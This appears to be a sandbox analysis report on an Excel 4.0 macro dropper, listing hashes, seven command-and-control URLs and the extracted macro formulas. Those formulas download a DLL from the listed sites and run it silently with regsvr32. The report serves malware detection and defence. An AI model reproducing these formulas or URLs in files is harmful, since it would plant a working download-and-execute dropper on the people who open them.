Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    6911cc9f934542882099e99f3420bb33d57ea53ae5d786c907aa95569e0cc791

  • Size

    20KB

  • Sample

    241111-11ntga1lfk

  • MD5

    5dd1eaea82d9b61c5a6fc548b5e6bc8a

  • SHA1

    e49120377890af2c38fcce3aedc0b787ded8ca14

  • SHA256

    6911cc9f934542882099e99f3420bb33d57ea53ae5d786c907aa95569e0cc791

  • SHA512

    93e0c1d2a3d39c0c029665f5b4040f460f5c26d21a9e1fbff273fda1d5e3e9c5cdf7e0b3c9da6804c364d6ea7eb6fda7f1a7cb033504179a2fed9c55b0b2f325

  • SSDEEP

    384:G/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:GtINAo4FLkCBn9kC+xbLzJy

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://antaoco.com/wp-admin/5WaIjOuHnUj/

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

http://amkltd.co.uk/amk/IPuhx/

http://gees.com.pl/geessw/2YmxITo6/

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/5WaIjOuHnUj/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/WqgKtKrYJM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amkltd.co.uk/amk/IPuhx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gees.com.pl/geessw/2YmxITo6/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

xlm40.dropper

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

Targets

    • Target

      6911cc9f934542882099e99f3420bb33d57ea53ae5d786c907aa95569e0cc791

    • Size

      20KB

    • MD5

      5dd1eaea82d9b61c5a6fc548b5e6bc8a

    • SHA1

      e49120377890af2c38fcce3aedc0b787ded8ca14

    • SHA256

      6911cc9f934542882099e99f3420bb33d57ea53ae5d786c907aa95569e0cc791

    • SHA512

      93e0c1d2a3d39c0c029665f5b4040f460f5c26d21a9e1fbff273fda1d5e3e9c5cdf7e0b3c9da6804c364d6ea7eb6fda7f1a7cb033504179a2fed9c55b0b2f325

    • SSDEEP

      384:G/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:GtINAo4FLkCBn9kC+xbLzJy

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks